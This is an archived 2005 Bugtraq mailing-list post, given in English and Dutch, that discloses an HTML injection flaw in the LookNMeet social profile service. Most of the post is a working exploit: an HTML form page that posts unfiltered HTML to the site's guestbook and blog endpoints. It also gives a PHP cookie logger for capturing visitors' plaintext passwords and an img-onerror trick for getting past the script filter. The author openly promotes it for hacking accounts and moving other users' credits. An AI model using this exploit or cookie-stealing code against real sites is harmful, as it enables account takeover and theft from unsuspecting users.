lists.openwall.net   lists  /  announce  owl-users  owl-dev  john-users  john-dev  passwdqc-users  yescrypt  popa3d-users  /  oss-security  kernel-hardening  musl  sabotage  tlsify  passwords  /  crypt-dev  xvendor  /  Bugtraq  Full-Disclosure  linux-kernel  linux-netdev  linux-ext4  linux-hardening  linux-cve-announce  PHC 
Open Source and information security mailing list archives
 
Hash Suite for Android: free password hash cracker in your pocket
[<prev] [next>] [day] [month] [year] [list]
Date: 4 Mar 2005 20:06:59 -0000
From: Wesley aka PPC <ppc@...pected.as>
To: bugtraq@...urityfocus.com
Subject: LOOKNMEET HTML INJECT EXPLOIT




-----------------------------------

   LOOKNMEET HTML INJECT EXPLOIT
               - By PPC^Rebyte

-----------------------------------

                              27feb2005


*** SEE BELOW FOR DUTCH VERSION ***
*** NEDERLANDSE VERSIE ONDERAAN ***


( ENGLISH VERSION )

*** Status
__________

The vendor (AfterTheHype) is informed about this bug by Rebyte security
on 04 march 2005. Expect updated service soon.


1* Intro
________

LookNMeet is a service from vender AfterTheHype to make your own profile
and to meet new people.

A bug in the service makes it possible to inject your own HTML code in
someone's guestbook or in your own blog, which makes it possible for you
to make your blog or someone's guestbook really special because you can
inject HTML to your likings. It should also be possible to steal someone's
password because the passwords are stored in plain text in a cookie.

Former misuse of the bug caused LookNMeet to patch their service, but not
fully. You can still inject HTML code, but you can't -directly- inject
&lt;script&gt; or <iframe> tags anymore, but of course there are ways to work
around this...

Following: an article about how we hacked LookNMeet profiles and made
our blog and guestbook messages really special :)


2* Writing HTML Injection Script
________________________________

A simple HTML script with the use of forms is sufficient to inject pure HTML
into LookNMeet.

Example Script:
- - - - - - - -

* * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * *

-- LNMinject.html --

<html>
<head>
<title>LookNMeet HTML InjectoR * by PPC</title>
</head>
<body>

<b><font size="5" color="#FF0000">LookNMeet HTML InjectoR Xploit</font><br />
- by PPC -</b>

<br /><br /><font color="#888888">Warning: You have to be logged in to
LookNMeet and have Cookies enabled to use this xploit.</font>

     <!-- FORM TO SIGN GUESTBOOK -->

<form action="http://www.looknmeet.be/members/gbook_sign.html" method="post">
<input type="hidden" name="submitted" value="true">
<input type="hidden" name="return" value="">

<table border="0">
  <tr>
    <td>
<hr align="left" width="550" /><b><font size="5">Inject To Guestbook</font>
</b><br /><br />
    
    </td>
  </tr>
  <tr>
    <td>

     <!-- "LOOKID" HAS THE UNIQUE GUESTBOOK USER ID OF THE GUESTBOOK
          WHERE WE WANT TO INJECT OUR HTML TO -->

Guestbook User ID: <input type="text" name="lookid" value=""
maxlength="100" size="50"><br />

Title: <input type="text" name="title" value="" maxlength="100" size="50">
<br /><br />HTML Code:<br />

     <!-- "DESCR" IS THE HTMLCODE THAT WOULD -NORMALLY- GET FILTERED -->

<textarea wrap=soft NAME="descr" ROWS=10 COLS=60></TEXTAREA> </td>
  </tr>
  <tr>
    <td colspan="2">
    
     <!-- WE CAN USE A 'REAL TEXT EDITOR' -
          (NEEDED TO INJECT HTML) -->

    <input type="hidden" name="RTEavailable" value="yes">

  </tr>
  <tr>
    <td colspan="2">&nbsp;</td>
  </tr>
  <tr>
    <td>
    <input type="submit" name="cancel" value=" Annuleren ">
    <input type="submit" name="finish" value=" Invoegen ">
    </td>
  </tr>
    
  <tr>
  </tr>
</table>

</form>
</td>
</tr>
</table>

     <!-- FORM TO WRITE INTO BLOG -->

<form action="http://www.looknmeet.be/owner/blog_add.html" method="post">
<input type="hidden" name="submitted" value="true">
<input type="hidden" name="return" value="">


<table border="0">
  <tr>
    <td>
<hr align="left" width="550" /><b><font size="5">Inject To Blog</font>
</b><br />

    </font><br />
    Mood: <select name="moodid">
    
    <option value="0" selected>Neutral</option>
    
    <option value="1" >Sad</option>
    
    <option value="2" >Happy</option>
    
    <option value="3" >Mad</option>
    
    </td>
  </tr>
  <tr>
    <td>Title: <input type="text" name="title" value="" maxlength="100"
size="50"><br /><br />HTML Code:<br />

     <!-- "DESCR" IS THE HTMLCODE THAT WOULD -NORMALLY- GET FILTERED -->

<textarea wrap=soft NAME="descr" ROWS=10 COLS=60></TEXTAREA> </td>
  </tr>
  <tr>
    <td colspan="2">
    
     <!-- WE CAN USE A 'REAL TEXT EDITOR' -
          (NEEDED TO INJECT HTML) -->

    <input type="hidden" name="RTEavailable" value="yes">

  </tr>
  <tr>
    <td colspan="2">&nbsp;</td>
  </tr>
  <tr>
    <td>
    <input type="submit" name="cancel" value=" Cancel ">
    <input type="submit" name="finish" value=" Inject ">
    </td>
  </tr>
    
  <tr>
  </tr>
</table>

</form>
</td>
</tr>
</table>

</body>
</html>

* * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * *


3* Injecting Basic HTML
_______________________

Now you can inject simple HTML code by using your new HTML-written exploit.
Just open the page you made and fill in the HTML code :)


4* Stealing Cookies (passwords)
_______________________________

All LookNMeet users' password is stored as plaintext in a cookie. By using a
little script we should be able to write this cookie to a textfile...

We could make a PHP file that logs the cookie of users who visit your blog
or a guestbook and which stores the cookie in a text file. In order to do this
we would need the following file:

* * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * *

-- log.php --

<title>x</title>
<?
echo $log;
$log = $log . "\n";
$fp=fopen("file.txt","a+");
fputs($fp,$log);
fclose($fp);
?>

* * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * *

And we make a new empty file and name it "file.txt".
We also give "file.txt" all write and read access so there will be no problems
when writing data to it (CHMOD 777).

Now we have to inject a code into LookNMeet that passes on the cookie to
"log.php". Since LNM has already integrated better filtering by blocking
&lt;script&gt; and <iframe> tags, it has become harder to write a working script,
but by trying out things you should be able to write one anyway.
(Try to f*ck around with <img src="re.byte" onerror="JAVASCRIPT" />)

You now have the password of everyone who visits the page you injected
the code to in "file.txt" :)


5* Outro
________

    THE.END

you can use this exploit to
        - make your pages stand out by using pure HTML
      * - hack LNM accounts
      * - transfer credits from someone's account to yours

Greetings 2 everyone at Rebyte and the whole Belgian scene !!

                                                 -- PPC^Rebyte --
                                         -- ppc@...pected.as --


+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++


( NEDERLANDSE VERSIE )

*** Status
__________

De uitgever (AfterTheHype) is over deze bug geïnformeerd door Rebyte security
op 04 maart 2005. verwacht binnenkort een service update.


1* Intro
________

LookNMeet is een dienst van AfterTheHype om zelf je eigen profiel
aan te maken en om nieuwe mensen te ontmoeten.

Een bug zorgt ervoor dat het mogelijk is om zelf HTML code te injecteren
in iemand zijn gastenboek of in je eigen blog, hierdoor is het bv. mogelijk
een gastenboek of je blog 'specialer' te maken en om iemand zijn paswoord
te achterhalen in gewoon tekstformaat! (want LookNMeet slaat paswoorden
op in een cookie zonder encryptie)

Deze bug is even geleden -gedeeltelijk- gepatched waardoor het niet meer
mogelijk is om &lt;script&gt; tags en iframe's te injecteren, wat nodig was om
bv. het paswoord van iemand te achterhalen, maar daar zijn ook andere
manieren voor :)

Een uitgebreid artikel hoe we LookNMeet profielen konden hacken en om je
blog of je gastenboekberichten 'specialer' te maken :)


2* HTML Injectie Script Schrijven
_________________________________

Een simpel HTML scriptje met het gebruik van Forms voldoet om de HTML in
LookNMeet te injecteren.

Voorbeeld Script:
- - - - - - - - -

* * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * *

-- LNMinject.html --

<html>
<head>
<title>LookNMeet HTML InjectoR * by PPC</title>
</head>
<body>

<b><font size="5" color="#FF0000">LookNMeet HTML InjectoR Xploit</font><br />
- by PPC -</b>

<br /><br /><font color="#888888">Opgelet: Je moet reeds ingelogd zijn en
gebruik maken van cookies om deze exploit te gebruiken.</font>

     <!-- FORM OM HET GASTENBOEK TE TEKENEN -->

<form action="http://www.looknmeet.be/members/gbook_sign.html" method="post">
<input type="hidden" name="submitted" value="true">
<input type="hidden" name="return" value="">

<table border="0">
  <tr>
    <td>
<hr align="left" width="550" /><b><font size="5">Inject Naar Gastenboek</font>
</b><br /><br />
    
    </td>
  </tr>
  <tr>
    <td>

     <!-- "LOOKID" BEVAT HET UNIEKE GASTENBOEK GEBRUIKER ID VAN HET GASTENBOEK
          WAARIN WE CODE WILLEN INJECTEREN -->

Gastenboek Gebruiker ID: <input type="text" name="lookid" value=""
maxlength="100" size="50"><br />

Titel: <input type="text" name="title" value="" maxlength="100" size="50">
<br /><br />HTML Code:<br />

     <!-- "DESCR" IS DE HTMLCODE DIE -NORMAAL- GEFILTERD WERD -->

<textarea wrap=soft NAME="descr" ROWS=10 COLS=60></TEXTAREA> </td>
  </tr>
  <tr>
    <td colspan="2">
    
     <!-- WE KUNNEN EEN REAL TEXT EDITOR GEBRUIKEN -
          NODIG OM HTML TE INJECTEREN -->

    <input type="hidden" name="RTEavailable" value="yes">

  </tr>
  <tr>
    <td colspan="2">&nbsp;</td>
  </tr>
  <tr>
    <td>
    <input type="submit" name="cancel" value=" Annuleren ">
    <input type="submit" name="finish" value=" Invoegen ">
    </td>
  </tr>
    
  <tr>
  </tr>
</table>

</form>
</td>
</tr>
</table>

     <!-- FORM OM IN JE BLOG TE SCHRIJVEN -->

<form action="http://www.looknmeet.be/owner/blog_add.html" method="post">
<input type="hidden" name="submitted" value="true">
<input type="hidden" name="return" value="">


<table border="0">
  <tr>
    <td>
<hr align="left" width="550" /><b><font size="5">Inject Naar Blog</font>
</b><br />

    </font><br />
    Humeur: <select name="moodid">
    
    <option value="0" selected>Neutraal</option>
    
    <option value="1" >Verdrietig</option>
    
    <option value="2" >Gelukkig</option>
    
    <option value="3" >Kwaad</option>
    
    </td>
  </tr>
  <tr>
    <td>Titel: <input type="text" name="title" value="" maxlength="100"
size="50"><br /><br />HTML Code:<br />

     <!-- "DESCR" IS DE HTMLCODE DIE -NORMAAL- GEFILTERD WERD -->

<textarea wrap=soft NAME="descr" ROWS=10 COLS=60></TEXTAREA> </td>
  </tr>
  <tr>
    <td colspan="2">
    
     <!-- WE KUNNEN EEN REAL TEXT EDITOR GEBRUIKEN -
          NODIG OM HTML TE INJECTEREN -->

    <input type="hidden" name="RTEavailable" value="yes">

  </tr>
  <tr>
    <td colspan="2">&nbsp;</td>
  </tr>
  <tr>
    <td>
    <input type="submit" name="cancel" value=" Annuleren ">
    <input type="submit" name="finish" value=" Invoegen ">
    </td>
  </tr>
    
  <tr>
  </tr>
</table>

</form>
</td>
</tr>
</table>

</body>
</html>

* * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * *


3* Basic HTML Injecteren
________________________

Nu kan je door middel van je gemaakte HTML script gastenboeken en je blog
speciaal maken door eigen HTML code in te voeren :)
Gewoon je HTML pagina openen en HTML code invoeren :)


4* Cookies (paswoorden) Stelen
______________________________

Het paswoord van iedereen die je pagina bezoekt wordt opgeslagen als gewone
tekst in een cookie. Door middel van een script zouden we deze cookie ongemerkt
naar een bestand moeten kunnen schrijven...

We zouden een PHP bestand kunnen aanmaken dat de cookies logt en opslaat in een
tekstbestand... Dan hebben we dit bestand nodig:

* * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * *

-- log.php --

<title>x</title>
<?
echo $log;
$log = $log . "\n";
$fp=fopen("file.txt","a+");
fputs($fp,$log);
fclose($fp);
?>

* * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * *

En we maken een nieuw leeg bestand aan en noemen dit "file.txt".
We geven "file.txt" ook alle schrijf- en leesrechten zodat er zonder
problemen gegevens naar geschreven kunnen worden (CHMOD 777).

We moeten nu een code in LookNMeet injecteren waardoor de cookie aan "log.php"
wordt doorgegeven. Gezien LNM nu betere filtering heeft door het blokkeren van
&lt;script&gt; en <iframe> tags is het wel moeilijker geworden om een juist script
te zoeken, maar met een kleine omweg is dit wel mogelijk.
(Probeer wat rond te prutsen met <img src="re.byte" onerror="JAVASCRIPT" />)

Je hebt nu het paswoord van iedereen die de pagina bezoekt waarin je
deze code hebt geïnjecteerd in het bestand "file.txt" staan :)


5* Outro
________

    THE.END

Je kan deze exploit onder andere gebruiken om
        - je pagina's wat specialer te maken
      * - accounts te hacken
      * - credits over te plaatsen van gehacte accounts

Greetings 2 everyone at Rebyte en de hele Belgische scene !!

                                                 -- PPC^Rebyte --
                                         -- ppc@...pected.as --


Powered by blists - more mailing lists

Powered by Openwall GNU/*/Linux Powered by OpenVZ